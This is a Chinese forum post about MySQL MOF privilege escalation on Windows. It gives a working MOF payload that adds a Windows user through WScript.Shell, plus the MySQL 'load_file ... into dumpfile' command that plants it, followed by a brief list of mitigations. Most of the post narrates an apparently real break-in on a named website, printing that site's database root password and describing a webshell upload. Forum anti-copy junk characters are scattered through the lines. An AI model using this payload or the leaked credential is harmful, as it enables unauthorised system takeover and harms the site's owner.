找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2503|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法6 _& ~; |7 ^1 _* X  K
( ~& @5 d' k+ L2 ?6 z
网上公开的一些利用代码:. d  p, [, L5 G$ P
3 N& |  B* N4 `$ X
#pragma namespace(“\\\\.\\root\\subscription”)5 W8 `1 g2 b0 x" U7 r
1 d- l3 S$ _) \0 r( ]
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
/ c- i! [2 L- j3 T5 f4 c9 k# s9 Z5 w) a

  K1 T2 v) W8 ]" k6 ~$ `! ^6 G7 o/ i9 s$ M1 W

: w, G/ @: G7 D& C# K
. I& f+ @5 P4 w/ [- a8 J连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 l# Y0 T) O9 i. k* z从上面代码来看得出解决办法:; A' [8 H2 t3 I& p8 }6 ?
: V5 O+ X( K4 @) W! B7 B4 `
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
, Q; H; B- X; \( s. G3 U, l9 J& N0 [, g* U; s( A! z
2、禁止使用”WScript.Shel”组件/ A$ z6 G; p7 C, K; g

0 E1 R7 n: B9 `3 M# u& I/ }5 ^3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER$ e( s3 G6 Z. ?/ [) T

3 M1 @, r1 ^# v. x" J$ q# O当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下+ t+ b2 s, j: A/ ]( `

9 N" _& f  e! b! `( o- j- b( g事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权# O1 H1 A- j& h  t; Z
( M/ u' B7 X5 _- n3 K
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
  y  o  G) P3 X, }0 j6 W" g! {2 I# j0 H: M" V# R
看懂了后就开始练手吧
' F2 D) [; _" U+ X* S0 m+ E& S/ _
http://www.webbmw.com/config/config_ucenter.php 一句话 a' F1 h. D! `1 u' c- E) W4 z$ r8 N
, v* E( @$ r+ t& o
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。0 I# Y* n( w5 f* k# [
& n# V2 `. `' ]+ B+ W4 t+ L, t
于是直接用菜刀开搞4 E& \) ]0 [9 A& b2 h0 i8 H

7 B3 ]% i0 c9 u! h" r( |6 `, i0 d8 z/ g上马先
+ @# s7 j/ H7 r4 z- F5 y, K: v$ g3 V5 d4 A, `4 ^" L1 T. x
既然有了那些账号 之类的 于是我们就执行吧…….
1 I) l& ?; _- u
8 W6 K# I+ a( a6 v( }5 f小小的说下0 r7 U+ l4 q- P

* t' a$ x% h0 R6 |在这里第1次执行未成功        原因未知1 a9 a9 a$ c/ U4 F7 d
; K6 N2 p2 c: F: U9 V( K, \% u: ^
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
8 z) q. B& N8 |" H3 P7 p- r- ]
+ _8 s- D: U  {2 C  m* r6 k1 g#pragma namespace(“\\\\.\\root\\subscription”)
& I% v8 a8 Z6 Y* }7 Z( c$ x
9 Z3 O0 o3 Q3 Y0 Linstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };$ N! ]/ b# j, O2 X! l% k
& k" D; S: q7 a+ e4 y( f
我是将文件放到C:\WINDOWS\temp\1.mof* ?0 t9 p# m9 I
4 e5 h% q- x2 p
所以我们就改下执行的代码* m4 C+ u, D1 [  G$ l

  S9 e5 r: v! y/ W  Rselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
" {8 |5 A% ^0 w
5 [4 w3 R) d6 l" X9 I: e
; H% J$ N5 d! w
( c+ u5 b7 e1 b# a% }# u但是 你会发现账号还是没有躺在那里。。
7 @0 n6 F& I. N2 l5 x' U4 F0 C: i- j7 Y% V
于是我就感觉蛋疼
7 X( k+ I4 Z7 ^9 a2 P* q; ?" Q  d3 V- s2 \
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
: ^6 p; g3 O- J4 g+ @
  `& r$ H6 _- V/ J; G& V. b: r2 f4 G3 G7 H$ c7 c7 U0 W- z2 _
0 d: Z! L2 v- Q
但是其他库均不成功…# w3 B1 z# E8 @/ A% y

! w7 p; i8 F4 T1 ]5 h! T3 z6 o7 P我就很费解呀 到底为什么不成功求大牛解答…
# D$ M9 A# P3 j, ^2 ?1 U- w7 C# ]8 a
​
& L" B6 J' h3 q1 ]1 E& \+ |' I5 y2 I* h+ @! i9 s' B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表